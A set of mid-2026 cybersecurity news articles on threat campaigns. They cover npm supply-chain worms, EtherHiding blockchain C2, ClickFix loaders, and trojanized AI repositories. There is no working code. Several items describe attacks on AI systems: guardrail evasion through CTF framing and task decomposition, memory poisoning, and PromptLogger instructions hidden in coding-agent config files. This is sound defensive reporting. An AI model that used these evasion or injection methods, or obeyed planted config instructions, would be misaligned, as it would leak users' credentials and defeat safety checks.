DeepSeek AI agent attacked the network of Tel Aviv-based AI cybersecurity firm Jesta Security in early July 2026 as part of an LLM-managed cyber attack campaign for proxyjacking and other follow-on attacks. The development is the latest example of how threat actors are relying on AI agents to break into third-party networks. "During our research on defense against AI attackers, we took our lab and stood it up in the field, behind US-based infrastructure," security researcher Lior Finkelshtein said. "We opened a port and waited for attackers to come to us. Within a week, we had logged over 300,000 attempts to break in: botnets, credential stuffing, the usual internet noise. And then something surfaced that did not fit the pattern." The activity has been linked to a Chinese threat actor. Jesta said it managed to steer the AI agent into extracting its own target list, identifying over 1,200 victim hosts that had been targeted in a similar manner. "The goal was proxyjacking: install a small SOCKS5 proxy, open it to the internet, and quietly turn a weakly secured rented server into an exit node for someone else's traffic and attacks," Jesta said. macOS malware upgradeA new version of the XCSSET malware (version 40) is targeting thousands of macOS users through compromised Xcode projects and GitHub repositories. "This version’s advanced architecture hides its core logic in memory space, reducing its digital footprint," Palo Alto Networks Unit 42 said. "V40 further enhances its detection evasion capabilities by combining polymorphic payload generation with fileless persistence and dynamic in-memory execution, while weakening a number of security mechanisms on the affected machine." The malware author, per Unit 42, has enhanced the ability of the malware to spread through open-source projects on GitHub and upgraded its worming capabilities. It can now infect all existing Xcode projects on a compromised system for maximum impact. The malware supports browser hijacking (specifically targeting Google Chrome) to inject JavaScript that can intercept web traffic, credential theft, clipboard monitoring, and data exfiltration capabilities. A new addition is a Telegram trojanizer that deletes the legitimate Telegram Desktop application on infected systems and replaces it with a malicious version with an intent to siphon victims' communications. The new version has been observed in two distinct attack waves in mid-April and in early May 2026. LLM pentesting lessonsNovee Security has published its learnings from training large language models (LLMs) for pentesting. This includes handling silent failures, having a weight-sync strategy, and how prefix breaks can cascade into performance drops in AI workloads. "An RL [Reinforcement Learning] pipeline is a complex system with many moving parts. And all of them are moving fast: the models, the harnesses, the frameworks, and the long tail of bugs in libraries we don't even own," it said. "Each lesson cost us real time and real money." One-click device compromiseA set of vulnerabilities affecting Samsung devices (CVE-2025-21079 and CVE-2025-58486) could be chained to result in remote system-level compromise triggered by clicking on a link delivered via an ad or a messaging application. "What distinguishes this entry from previous submissions is its focus on design oversights in Samsung's virtual assistant, Bixby, that enabled privilege escalation through a single auto-granted Android permission," researchers Dimitrios Valsamaras and Ken Gannon said. "Because this permission is implicitly approved in many Samsung applications, exploiting just one of them allowed us to issue unauthorized commands to Bixby." Because Bixby maintains interprocess communication channels with a wide range of applications, including system components, the issues could be exploited to force the agent to relay arbitrary commands to privileged services, effectively turning it into a bridge between unprivileged and system domains. The pair first demonstrated the vulnerabilities at the Pwn2Own Ireland hacking competition in October 2025, where they earned $50,000. The issues were fixed by Samsung late last year. App Store removal attackTelegram CEO Pavel Durov has blamed an extortionist planting child sexual abuse material (CSAM) in a public chat to get the app briefly removed from Apple’s App Store earlier this week. "Because Telegram quickly removes illegal content from public groups using all kinds of moderation tools, the attacker had to resort to a technical trick," Durov said. "He inserted AI-modified illegal content by editing an old message in an active group chat. As a result the content was effectively hidden from the group’s members, preventing them from seeing/reporting it." The attacker is said to be someone who "demands ransom from group owners in exchange for not targeting their communities," with Durov stating these threat actors "use automated accounts to plant illegal content in public groups and then report it directly to Apple, attempting to trigger the removal of legitimate communities whose owners refused to pay them." More linked devicesSignal has rolled out the ability to link more devices with one phone number on the messaging app, including an Android phone or iPhone, going beyond iPads and computers. The feature is available in Signal Android v8.20 and Signal iOS v8.22. AI bug report floodApple has enforced caps on the number of open bug-bounty reports researchers can submit after being flooded with low-quality and sometimes entirely fabricated vulnerabilities hallucinated by AI. "While Apple now has a cap on the number of open submissions a researcher can have, researchers can request an increase to make sure Apple's security team doesn't miss a critical vulnerability," Financial Times reported. Domain takeover flawsTwo new Active Directory privilege escalation vulnerabilities, dubbed KerberLoss (CVE-2026-25177) and ResetNightmare (CVE-2026-27912), can cause identity confusion on domain controllers (DCs), with the latter enabling a low-privileged user to instantly gain Domain Admin privileges. Microsoft patched both flaws in March and April 2026. "Other than patches, organizations should stick to the principle of least privilege and monitor for abnormal additions of non-default permissions," Semperis said. "Tighter permissions can make these vulnerabilities more difficult to abuse." AI-powered scam farmsAn off-the-shelf, AI-enhanced scam phone farm can be acquired for a few thousand dollars, allowing aspiring three actors to design, launch, and automate common scams, including romance and adult-content scams, pig-butchering scams, and astroturfed social media accounts. "These scams are operated on phone farms sold as kits on open and dark web marketplaces, the farms are automated with AI interfaces, and the scams often use AI in their design and operation, significantly lowering the barrier to entry for would-be threat actors and commoditizing cybercrime," HUMAN Security said. The activity has been codenamed FunFoneFarm. A similar alert was issued by Group-IB earlier this March. The danger with such offerings is that they can enable low-cost scalable fraud operations. "It's an ecosystem, assembled from parts that are individually legal, openly sold, and often genuinely useful: commodity hardware, device-management software, cloud infrastructure, and general-purpose AI," it added. CTV ad fraud ringIn a related development, HUMAN also detailed a connected TV (CTV) device-spoofing ring called NewsJunkie that's disguised as premium local news content on major CTV platforms. The operation involved two spoofing vectors: SSAI CTV device spoofing and residential proxy CTV device spoofing. "At its peak, it accounted for hundreds of millions to nearly two billion invalid CTV bid requests per day per seller," it said. "One particular local news app generated more than 42.2 billion bid requests, approximately 360 times the volume of the next-highest regional news app, with only 185 reviews on the app store." Fake bank phishing chainAn active phishing campaign impersonating Bank of America (BoA) aims to trick Windows users into installing ScreenConnect remote access software and then making it harder to uninstall it. To evade detection, the malware disguises ScreenConnect as a service called Windows Security. "The subsequent phishing page delivers an AccountGuard.zip with a .vbs file that contains a large chunk of base64-encoded data," Huntress said. "The next phase of the attack then involves a complex chain of decoding scripts, and ends in the execution of arbitrary commands (with escalated privileges) in PowerShell. The goal of all this complexity is to download a Microsoft installer (.msi) for a custom ScreenConnect client and execute/install it with Administrator privileges without prompting the user for elevation. Additional payload components conceal the installed ScreenConnect client and remove the user's ability to uninstall or disable it easily." The development comes as the cybersecurity company warned of threat actors exploiting an SQL injection vulnerability to install a post-exploitation toolkit called khunt via a Java Source directly within an Oracle database. "A Java Source (a code-object that's stored directly in Oracle's database engine) allows developers to store and run Java code in the database as schema objects, but the threat actor abused this as a way to upload the toolkit directly into the database," Huntress said. "The toolkit included several objects, including khuntCmd and khuntHash, which essentially acted as purpose-built tools that were compiled and stored in the database, and enabled malicious functionalities like running OS commands and writing usernames/password data to a file. Threat actors used khunt to perform several malicious measures, including attempting to exfiltrate SAM, SECURITY, and SYSTEM registry hives." AI memory poisoningForcepoint has called attention to the growing risk of persistent memory poisoning, calling it an emerging attack class against AI assistants and agentic systems that store long-term memory items, user preferences, task history, or operational context across sessions. "Unlike normal prompt injection attacks that usually die when the session ends, memory poisoning survives," Forcepoint said. "The attacker's goal is to inject misleading or malicious memory items into an assistant's persistent memory layer so that an agent later retrieves and trusts these malicious items to perform unrelated future tasks." AI abuse tacticsSpeaking of AI systems, threat actors are increasingly misusing AI tools to create code with malicious capabilities, scale criminal operations and campaigns, and bug bounty or vulnerability research. While no novel encoding or evasion techniques have been observed, evidence shows that attackers are sticking to tried and tested methods to evade model guardrails. "We also found a lot of successful instances of actors using the Capture the Flag (CTF) or bug bounty labeling," Cisco Talos said. "This unlocked models to a variety of tasks, including vulnerability hunting and subsequent exploitation, without requiring any significant follow-up or additional vetting. Additionally, we saw actors leveraging task decomposition — splitting risky actions across multiple sessions and files — as an effective avenue to bypass guardrails. Building the components slowly and working through malicious components in a deliberate manner, breaking them apart sufficiently to evade the models' protections." AI workspace RCEA critical flaw (CVSS score: 9.9) in Odysseus, a privacy-focused AI workspace that provides an interface to talk to LLMs, can allow an authenticated non-admin user to execute OS commands with the privileges of the Odysseus process by smuggling an admin-only shell action onto a scheduled task across two ordinary API requests." The security flaw has been addressed in version 1.0.2. The process holds the application's data and credentials, including user password hashes and TOTP secrets, stored provider API keys, the database, and the SSH keys Odysseus uses to reach the remote machines it manages. "On any instance with self-service signup or a second user, one account became a foothold — API keys to spend, a mailbox to send from, and SSH keys to the machines Odysseus manages, plus a scheduler to persist in," Manifold Security said. There is no evidence the issue was exploited before the fix. Router takeover flawsForescout's Vedere Labs discovered a set of 15 security flaws impacting the zero-touch provisioning (ZTP) system in TP-Link Omada routers and other devices that could facilitate client-side code execution, information disclosure, device hijacking and spoofing, and compromise of encrypted communications. "Some vulnerabilities extend beyond Omada to other TP-Link products and services, including IP cameras, smart home IoT devices, mobile apps, and cloud accounts," the cybersecurity company said. "Findings include a chain of trust compromise from hard-coded cryptographic keys, sensitive information disclosures, and remote code execution." When combined with two previously disclosed vulnerabilities (CVE-2025-7850 and CVE-2025-7851), they can be weaponized by attackers to infiltrate networks through controllers and client devices. Besides applying the patches released by TP-Link, it's advised to avoid using the same password across all devices during provisioning, change device credentials and use strong, unique passwords, modify TP-Link ID credentials and enable multi-factor authentication where available, and rotate VPN keys and credentials that may have been exposed. Initial access broker exposedCloudSEK has exposed the operations of a Russian-speaking initial access broker, thanks to a publicly accessible server, revealing their targeting of internet-facing infrastructure across multiple sectors. "The operator exploited internet-facing appliances across a dozen-plus countries, harvesting credentials and achieving full Active Directory compromise across education, healthcare, finance, telecommunications, and government victims," CloudSEK said. In multiple confirmed cases, ransomware groups claimed the same organizations within weeks of the operator's access, indicating the operator supplies access upstream of extortion rather than conducting it directly." The threat actor has also been observed deploying the Sliver C2 framework against Ukrainian defense and aerospace targets and stealing source repositories and harvesting imagery from thousands of exposed IP cameras and RDP sessions. Bug bounty milestoneMicrosoft has announced that between July 1, 2025, and June 30, 2026, the company had paid more than $20 million in bug bounties to 562 researchers. There were 2,531 eligible vulnerability reports. The biggest reward was $200,000. "Every vulnerability reported through our bounty programs represents an opportunity to address risk before it can be exploited against customers," Microsoft said. The work of the research community plays a critical role in helping Microsoft stay ahead of emerging threats while strengthening the security of cloud services, AI systems, enterprise platforms, and consumer technologies. We also saw a notable increase in submission volume during the second half of the year, reflecting both strong engagement from the research community and the growing use of AI to support security research." AI insider threatBarracuda Networks has demonstrated a proof-of-concept (PoC) that shows how a compromised AI-enabled account can help "attackers discover sensitive information, identify targets, craft convincing communications, and advance an attack using access the victim already possesses." A single compromised employee account can escalate into CEO compromise and wire-transfer fraud using an AI agent like Copilot that's embedded into enterprise environments and connected to various Microsoft applications. Ransomware memory theftAn Interlock ransomware intrusion in March 2026 involved the use of the legitimate IR memory analysis tool Volatility3, underscoring how bad actors continue to leverage legitimate tools in attacks. The victim is said to have been infected via a ClickFix lure following a drive-by compromise, ultimately leading to the deployment of a RAT payload using PowerShell. The attackers then established persistence, conducted discovery operations, performed privilege escalation, and moved laterally across the network. The use of Volatility3 has been linked to attempts to extract domain credentials, as well as NTLM hashes and user account information from memory. "Interlock has evolved since mid-2024 into a multi-skilled threat increasingly willing to adapt its techniques and seek large targets," Sophos said. "The operators have been fairly aggressive about incorporating new techniques and abusing fresh vulnerabilities – evidence shows Interlock was making use of the CVE-2026-20131 Cisco zero-day a full two weeks before Cisco acknowledged it. The adoption of legitimate tools such as Volatility3 and WinPmem shows that this threat’s evolution continues." NuGet key hardeningMicrosoft has announced it's reducing the lifetime of new NuGet.org API keys issued starting August 17, 2026, from 365 days to 30 days. All existing API keys created before that date are scheduled for expiry on November 1, 2026, after which developers will need to generate new keys or switch to NuGet Trusted Publishing. The changes have been framed as a way to secure the NuGet ecosystem and follow similar moves by other package managers over the past year, as bad actors exploit API keys and Personal Access Tokens (PATs) in attacks. Smart contract C2 malwareAn affiliate of The Gentlemen ransomware operation has been observed deploying EtherRAT on Windows hosts. The malware uses the EtherHiding technique to read its C2 information from an Ethereum contract. "EtherRAT has no fixed command set. Any C2 response over ten characters is run as JavaScript inside a Node.js runtime, giving the operator arbitrary code execution and letting them extend capabilities without replacing the implant," Hunt.io said. The threat intelligence firm said it identified an exposed open directory at 193.233.202[.]17 that offered an insight into affiliate activities, including setting up a Windows domain for persistent access, credential theft, and lateral movement. "Lateral movement ran through remote scheduled tasks that downloaded and executed MSI payloads," it added. "Those installed EtherRAT, a persistent implant that pulls its C2 domains from an Ethereum smart contract instead of hardcoding them, while Sliver and Go reverse-shell binaries gave the operator additional command channels." AI prompt exfiltrationMitiga has outlined a stealthy security threat called PromptLogger where malicious natural-language instructions are hidden inside AI coding assistant configuration files (like .cursorrules or CLAUDE.md) to steal user prompts, environment variables, and sensitive credentials. PromptLoggers, similar to keyloggers, are instruction files that quietly record the prompts, responses, environment variables, tokens, and deployment details flowing through a coding agent, and then ship them to an attacker without the need for specialized malware. "There's no malware in any of this and nothing to detect on the endpoint," Mitiga said. "The agent already has the access, the context, and the network reach. The instruction file just tells it what to collect and where to send it." Encryption backdoor fightApple last month filed a new legal complaint with the U.K. Investigatory Powers Tribunal (IPT) over the British government's legal demand for access to encrypted iCloud backups belonging to users in the country, according to the Financial Times. The iPhone maker has long argued that building any such backdoors would weaken security for all its customers. Credential theft shiftCrowdStrike's 2026 Threat Hunting Report has revealed that it tracked a 15-fold increase in device code phishing attempts in the past six months, indicating a shift in how attackers steal credentials to take over victim accounts. Although the technique was first documented in late 2020, it didn't catch the attention of threat actors until August 2024, when a Russian nation-state threat actor tracked as Storm-2372 began to incorporate the method. ClickFix malware luresA "single PDF factory" has staged more than 12,700 fake CAPTCHA documents on Webflow's content delivery network (CDN) that are disguised as upgrade guides to deliver malware. "Each document is a doorway into a traffic-distribution system (TDS) that sorts visitors and routes those that qualify to multiple buyers, malware distributors, and scam operators," Netskope said. "The operation has been running for more than 14 months, from the earliest sample we can date to lure domains registered this month, and it is still active." Users looking for upgrade guides on search engines or AI assistants are the target of these attacks. The campaign primarily targeted English-speaking users in the United States, India, Australia, the United Kingdom, and Canada. An early version of the campaign highlighted by Palo Alto Networks Unit 42 in March 2025 lured users into installing an MSI for Legion Loader malware. Coldcard phishing lureA new opportunistic phishing campaign is exploiting public interest in the recently disclosed Coldcard wallet vulnerability and the suspected $130 million Bitcoin theft to trick users into installing ScreenConnect. "Emails impersonate Coldcard and purport to highlight a security audit relating to the incident," Proofpoint said. "Messages contain a URL that leads to a site impersonating Coldcard with a 'Start Hardware Audit' button." Once clicked, the button leads to a batch file hosted on GitHub, which drops an MSI file and ultimately installs ScreenConnect. "The site also features a 'Customer Service' chat box," the enterprise security company said. "If a user messages, a threat actor responds and walks through the steps to install ScreenConnect. Based on the chats we've examined, a real person (not AI) is likely operating the chat to instruct users on malware install." The incident underscores how threat actors continue to employ topical social engineering lures, in this case preying on people's fear to persuade them to take risky steps. As for the digital robberies themselves, at least a dozen different hackers are said to be targeting Bitcoin owners who use the Coldcard wallet. According to TRM Labs, there have been 207 hacks targeting cryptocurrency companies in the first six months of 2026, with a total loss of more than $950 million. The useful lesson is not that attackers suddenly became brilliant. It is that trust keeps accumulating in quiet places: package managers, project files, assistants, provisioning tools, remote access software, and forgotten systems nobody planned to revisit. Security still breaks at the handoff. Before the prompt. After the patch. Inside the default. Somewhere between “trusted” and “probably fine.” That gap is where this week lived, and it will be there next week too.

Cybersecurity researchers have flagged an evolution of the EtherHiding blockchain-based command-and-control (C2) technique that conceals the C2 server IP address inside a made-up destination address of a completely empty Ethereum transfer. The new dead drop resolver approach, observed in two trojanized npm packages "bianira-ui" and "fluid-type-ui," has been codenamed NullReceiver by OpenSourceMalware, which has described it as a "deliberate improvement on EtherHiding." The activity has been linked to North Korea. The packages are currently no longer available for download from npm. However, statistics show that they have been downloaded a few hundred times since they were first published on July 28, 2026 - bianira-ui (109 downloads), uploaded by an npm user named "npmuser1101" fluid-type-ui (587 downloads), uploaded by an npm user named "npmuser3002" EtherHiding was first publicly documented by Guardio Labs in October 2023 as a covert approach that involves embedding nefarious code within a smart contract on a public blockchain like BNB Smart Chain (BSC) or Ethereum. The technique heralded the "next level of bulletproof hosting" as it improves operational resilience in the face of takedowns. The use of EtherHiding by North Korean hacking groups was detailed by Google Threat Intelligence Group (GTIG) late last year in connection with Contagious Interview, a long-running campaign that aims to deceive potential targets by approaching them on LinkedIn with lucrative job opportunities and asking them to complete an assessment that leads to malware deployment. The latest development indicates that the threat actors are further refining their tactics and making it difficult for defenders to detect. "Instead of hardcoding a C2 address or hiding it in transaction calldata (as in EtherHiding), NullReceiver encodes the C2 IP directly in the bytes of the recipient address of a zero-value, zero-data Ethereum transfer," security researcher Paul McCarty said. "The malware looks up the attacker's wallet, reads the destination address of its most recent outbound transaction, and decodes a C2 IP straight from those address bytes, with no smart contract and no payload field involved." By embedding the C2 IP address in this manner, NullReceiver aims to address one of the major shortcomings of EtherHiding, which requires a fixed, publicly known destination address -- one that can be tracked by defenders as new transactions containing the payload, the C2 IP address, or the malicious script, occur for a gas fee. NullReceiver, in contrast, provides a non-existent destination address. The address "exists" only to provide a way to encode the C2 IP address within itself. This, in turn, makes attribution difficult, as it eliminates the "fixed, watchable destination." Neither of the newly discovered npm packages identified as part of the new campaign, bianira-ui and fluid-type-ui, calls a smart contract nor embeds any content within the transaction's calldata field. Instead, the JavaScript libraries leverage the new technique to extract the IP address and connect to it. The entire sequence of actions on a victim machine is as follows - Look up a hard-coded attacker wallet ("0xa322e5f3d311d3080e6f0121063e9adc2490ef1a") Find its most recent outbound transaction Read that transaction's destination address Decode a C2 IP address directly out of the address bytes by converting the first four bytes from their hexadecimal representation to their number equivalent Connect to that IP address ("166.88.134[.]62") An examination of the wallet transactions shows that the destination "To" address for each of them is the same: "0xa658863ea658863e68656c6c6f6970626f742121." While "a658863e" becomes "166.88.134[.]62," the trailing bytes "68656c6c6f6970626f742121" represent the ASCII string "helloipbot!!." As of writing, a total of 68 transactions have taken place since July 27, 2026, a day before the packages were published. What makes NullReceiver more sneaky is the absence of a fixed target and a fingerprint, not to mention the fact that the transactions are cheaper than before. A crucial difference between the two techniques is that while EtherHiding makes it possible to smuggle a full URL or script, NullReceiver can only encode a few bytes. "NullReceiver never reuses a destination," OpenSourceMalware said. "Every lookup is a brand-new, throwaway address that's never been seen before. A NullReceiver transaction carries nothing extra at all. There's no field to fingerprint, because there's no field." "Calldata costs gas per byte. EtherHiding pays for that. NullReceiver's transfer is completely blank, making it the cheapest, least conspicuous transaction shape on the network." Update OpenSourceMalware said it identified an additional set of five packages using the NullReceiver technique. These are listed below - post-css-transfer (318 downloads) scrollbar-hide-plugin (247 downloads) tailwind-anim (1,301 downloads) tailwind-animation-founder (124 downloads) tailwindcss-anim (1,357 downloads) Jenn Gile, co-founder of OpenSourceMalware, told The Hacker News that there are definite signs of cryptocurrency wallet reuse from North Korean threat actors, which made it possible to connect the newly discovered npm packages with existing campaigns. The shared infrastructure has also led to the discovery of more than 20 other compromised packages across the npm, Go, PHP ecosystems that are linked to another campaign tracked as PolinRider. "PolinRider has spent at least five months getting into thousands of developer machines any way it can: fake interviews, poisoned forks, malicious VS Code tasks, typosquatted packages," Gile said. "DPRK's goal is to compromise developer machines and accounts to silently propagate malicious code, clone repositories, and push backdoored commits without active human intervention." (The story has been updated after publication on August 6, 2026, to include additional insights from OpenSourceMalware.)

More than 2,200 malicious versions of 440 packages were published to the NPM registry as part of a fresh Mini Shai-Hulud supply chain attack. Dubbed ChainDrop, the campaign started with 11 malware carriers in the keyv and cacheable namespaces, after their maintainer’s GitHub account was compromised. Combined, the infected packages have over 500 million weekly downloads. They are widely used across the ecosystem and their poisoning led to 433 additional packages being infected. Similar to previous Mini Shai-Hulud attacks, the infected packages executed malicious code during installation, dropping an information stealer with self-propagation functionality. On the infected machines, the malware targets all the secrets it can find, encrypts them, and then exfiltrates the data either to a dynamic HTTPS endpoint or to attacker-created public GitHub repositories that have the ‘Shai-Hulud: Here We Go Again’ description. “Once executed, the malware searches developer workstations and continuous integration and continuous delivery (CI/CD) environments for NPM, GitHub, cloud, and infrastructure credentials. It uses recovered identities to authenticate to NPM, GitHub, Amazon Web Services (AWS), Kubernetes, and HashiCorp Vault, enabling it to enumerate packages, repositories, workflow secrets, cloud parameters, and secret-store values,” Microsoft explains. Additionally, the malware uses the stolen NPM credentials to publish poisoned versions of every package it can reach on the infected machine, and leverages compromised GitHub credentials and GitHub Actions to infect more repositories for credential theft, JFrog says. “After obtaining an NPM publishing token, it enumerates packages available to the compromised identity, downloads their latest tarballs, inserts the malware and setup loader, adds a preinstall hook, increments the patch version, and republishes the modified packages. The malware can also use stolen GitHub credentials to inject Claude and Visual Studio Code configuration files into repositories, establishing persistence and creating an additional developer-to-developer infection path,” Microsoft notes. Because the malware republished many historical versions of the compromised packages, the total number of malicious package iterations observed on August 4 reached 2,212 in under four hours, StepSecurity says. All infected package versions contained a preinstall dropper designed to download the legitimate Bun JavaScript runtime alongside 710 KB of obfuscated second-stage code representing the actual malware. An evolved descendant of the Shai-Hulud 2.0 worm, the malware uses an Ethereum blockchain for command-and-control (C&C), a technique called EtherHiding. The worm also installs a host-level dead-man’s switch: after achieving persistence on macOS and Linux, it polls the GitHub API using the victim’s stolen GitHub token every 60 seconds, and deletes its state and exits if the token stops working. It also self-clears after 24 hours, Socket notes. NPM developers who installed any of the infected package versions should consider their machines compromised. They are advised to remove the malware, rebuild CI runners and build machines, revoke and rotate potentially compromised credentials, and audit their GitHub repositories for anomalous activity. “Isolate affected systems. Preserve package tarballs, npm logs, CI logs, GitHub audit logs, and runner images before cleanup. You will need them to bound the exposure window,” JFrog recommends. Related: New GitHub, PyPI Policies Boost Supply Chain Security Related: US Bans Foreign-Made Humanoid Robots, Targeting China Over National Security Related: Multiple Jscrambler Packages Impacted by Supply Chain Attack

AI developers targeted via trojanized GitHub repositories Cybercriminals are cloning popular GitHub repositories for AI tools and developer resources to distribute an infostealer, according to Netskope Threat Labs. (Source: Netskope) Netskope came across the campaign while tracking a Windows-based MaaS infostealer, first reported in April 2026, that was spread through the ClickFix social engineering trick. Continuing to follow the operation, the researchers found that the group behind it had shifted its delivery method, now pushing payloads through impersonated GitHub repositories hosting popular AI resources. Netskope tracks these repositories under the name TroysDen’s. “To deceive developers, attackers clone well-known repositories and subtly integrate malicious payloads. They usually add the payload to a benign-looking subdirectory or modify the URLs on the installation instructions. Because the root page appears authentic and the original contributor is listed, victims are lured into trusting the GitHub page, leading them to download and execute the MaaS malware infostealer,” Netskope explained. Among the “lures” found were fake tools branded as Claude, ComfyUI, AI coding assistants, Python security guides, and Rust frameworks. A hidden interpreter, not a compiler The malicious payload arrives in a ZIP archive containing four files: two binaries (lua51.dll and compiler.exe), a batch script (Application.bat), and a text file (gc.txt). Lua51.dll is a legitimate LuaJIT runtime. One of its functions allows Lua code to call Windows APIs directly by name at runtime, so those calls do not appear in the import table of the executable running the code. Despite its name, compiler.exe is a renamed LuaJIT interpreter. The batch script launches compiler.exe with gc.txt as an argument, causing the interpreter to read and execute the contents of the text file. At that point, the Prometheus virtual machine reconstructs the malicious code from an encrypted string pool. From there, all malicious activity, including network requests, file writes, and process creation, runs inside compiler.exe. Together, the four files make up SmartLoader, a malware loader Netskope has previously seen distributed through GitHub repositories. Netskope said placing the code in a plain text file rather than a standalone executable gives it a “defense-evasion advantage,” since automated scanners and sandboxes tend to check files one at a time and none of the pieces alone sets off an alert. Command-and-control hidden on a blockchain SmartLoader starts by sending a GET request to ip-api.com to collect the victim’s IP address, country, city, time zone, and internet provider, information that may help the attackers decide which victims are worth pursuing. Rather than hardcoding a server address, it resolves its command-and-control IP from the Polygon blockchain at runtime, a technique known as EtherHiding, querying a smart contract through public RPC providers to get the address to contact. Before reporting in, SmartLoader takes a screenshot of the victim’s desktop, which gets sent together with an encrypted beacon containing the loader’s ID, a device identifier, the victim’s public IP, and the operating system version. This setup lets the attackers move infrastructure without touching the malware itself. If a server gets blocked, they update the value stored in the smart contract, and every infected machine picks up the new address on its own. The response carries encrypted configuration data and a task list, which in this case instructed SmartLoader to download the second stage that ultimately delivers the infostealer. A second stage with its own disguise The second-stage script, dist.lua, is downloaded along with its own bundled LuaJIT interpreter and DLL. Static analysis linked its obfuscation to MoonSec, a different tool than the one used in stage one, though no version marker was found in the code. “Upon execution, the second stage Lua script is highly similar to the first loader,” researchers added. It reuses the same XOR key to encrypt outbound traffic and decrypt server responses, runs the same geo-location check, and hides its command-and-control address with EtherHiding, adding two more RPC providers as fallbacks beyond the ones used in stage one. Netskope found the second-stage files hosted on two GitHub accounts, created five days apart in July 2026, both serving identical payloads. Both accounts have since been reported for takedown. Netskope’s analysis across multiple samples turned up a mix of infostealers, including the NodeJS-based strain the company first reported in April. The campaign has targeted organizations in North America, Asia, and Southern Europe, with financial services, banking, and technology among the most affected sectors.

A new Russian loader-as-a-service (LaaS) codenamed DOUBLECUP has been using ClickFix lures as a way to stage malware-laced PNG images in victims' browser cache and ultimately deliver CountLoader and a previously undocumented remote access trojan called DeviceManager. "The first stage drops a steganographic PNG image into the browser's cache, retrieves its hidden content, and executes the second stage," SOCRadar said in a technical report. "This second stage decrypts the final payload in memory via a custom SHA-256 stream cipher in Counter (CTR) mode along with bitwise XOR using the victim's public IP address as the cryptographic key." Payloads delivered via the loader service include CountLoader, with variants for both Windows and macOS, and DeviceManager, which utilizes EtherHiding to resolve its command-and-control (C2) infrastructure and communicate with the server over HTTP or DNS tunneling. The service is assessed to be active since early June 2026, with the core developers providing operators with licenses and a client agent to help create campaigns and load payloads by embedding the required code in their ClickFix landing pages. Each license comes with a unique key and contains metadata including the client's IP address, active days, label, and version. Multiple campaigns can be orchestrated per license. SOCRadar said its investigation sprang forth from an open directory at "213.139.77[.]109:9090" that left several testing files that were later identified as part of the DOUBLECUP license panel. The Go-based Windows GUI client also offers operators the ability to update configurations, update the software, and issue commands directly via a Broadcast Pane, while a Payload Builder Pane allows threat actors to set up the command that's triggered via a ClickFix decoy. This involves setting up the domain, slug, steganography method, embed type, archive format, action, and payload URLs. "This generates a configuration endpoint at https://{domain}/{slug}/api/config," SOCRadar said. "A GET request to this endpoint returns DOUBLECUP's configuration data, which includes the steganographic image URL hosted on the target domain, image size, the session endpoint, and browser-specific commands tailored for Chrome, Edge, Firefox, Brave, and Opera." The attack also requires operators to inject necessary frontend code onto their ClickFix site to trigger the malicious code. This involves the following steps - Fetching the /api/config endpoint, prefetching the steganographic image, registering a session, and evaluating the browser User-Agent string to select the appropriate browser payload Displaying ClickFix instructions, copying the browser-matched command to the victim's clipboard, and initiating a polling mechanism to execute the final redirect Operators can opt to incorporate additional obfuscation or anti-analysis mechanisms into their payloads, but these extra steps remain solely their responsibility. Meanwhile, a Telegram bot (@harrypoterlohBOT) is used to track client visits, send commands, deliver keys, and receive payload callbacks via a designated DOUBLECUP URL. Interestingly, the bot is managed by a threat actor named "johnnysilverhe," who has also published a suspicious Microsoft Visual Studio Code (VS Code) extension named Agent IDE in the official marketplace. Campaigns using DOUBLECUP have leveraged a cluster of bogus sites impersonating CRM login pages, including NetSuite, Odoo, HubSpot, and Salesforce, to deliver the loader via embedded iframe elements, which then pave the way for ClickFix commands that, upon execution, search the browser cache for the PNG image and extract from it malicious JavaScript, VBScript, or PowerShell to launch the next-stage component. At this point, the C2 server is notified of a successful infection. The second-stage then acts as a dropper to deploy an encrypted payload and then redirect the victim to a destination page. The payload employs environmental keying as an anti-analysis technique to ensure that it's unpacked only on the victim's machine. This is accomplished by passing the victim machine's public IPv4 address as a seed into a key derivation function to generate the cryptographic key necessary to decode the payload. The decryption process fails on any machine other than the intended target, as it would yield the wrong key. The attack chain ends with the stager reconstructing the final payload and executing it. One of the malware families propagated via this method is an updated Windows and macOS version of CountLoader, which comes with new capabilities to establish persistence using scheduled tasks, audit installed browser extensions for cryptocurrency wallets, and profile the host to check if Signal's desktop app is installed. "CountLoader also includes a function that scans the desktop and start menu for shortcuts (.LNK files) belonging to popular web browsers," SOCRadar explained. "It rewrites the target of these shortcuts so that when the user double-clicks their browser shortcut, it secretly launches the intended browser and the RAT in the background." "However, this function is never invoked, indicating it may be an incomplete feature or dead code under development." The primary objective of CountLoader is to connect to a C2 server, gather system metadata and exfiltrate it, and await further tasks from the operator, allowing it to run secondary executables, DLLs, MSI, or HTML Application (HTA) files, download a compressed archive, extract its contents, and run the main binary present within the extracted folder, and clean up persistence mechanisms likely to erase forensic evidence. There exists an equivalent macOS version of CountLoader that features the same functionality as its Windows PowerShell variant, but adapts its persistence and reconnaissance methods for Apple's desktop operating system. The second payload delivered via the DOUBLECUP infrastructure is a modular Python-based RAT codenamed DeviceManager that utilizes the blockchain as a dead drop resolver to fetch the C2 server details, a technique known as EtherHiding. Specifically, the trojan dynamically resolves its active C2 nodes via Ethereum/Polygon smart contracts before establishing C2 communications. DeviceManager is distributed as a Delphi-compiled Inno Setup installer that embeds the encrypted payload. Once launched, it extracts a full embedded Python environment to spawn the Python malware. At the same time, it deliberately avoids executing on machines that resolve to Commonwealth of Independent States (CIS) language locales. "If a target CIS language is detected, DeviceManager executes a self-deletion routine: it removes its scheduled task, deletes its installation directory via cmd.exe, and terminates process execution," the cybersecurity company said. The malware then proceeds to collect extensive device information, use Etherhiding to extract the C2 server ("91.92.240[.]100"), and communicate with it using DNS or HTTP to exfiltrate system data, poll for tasks, download payloads, send command execution results, and report task status. DeviceManager is equipped to run PowerShell and Python scripts, as well as pipe operator-issued commands into "cmd.exe." "DOUBLECUP highlights the expanding reach of ClickFix campaigns, providing threat actors with a low-friction, highly reliable payload delivery pipeline," SOCRadar said. "Built with evasion at its core, DOUBLECUP leverages steganography and environmental keying to bypass defenses." "CountLoader evades process monitoring by copying and header-patching legitimate Windows binaries, while DeviceManager utilizes smart contracts on the Ethereum/Polygon blockchains for resilient C2 infrastructure resolution."

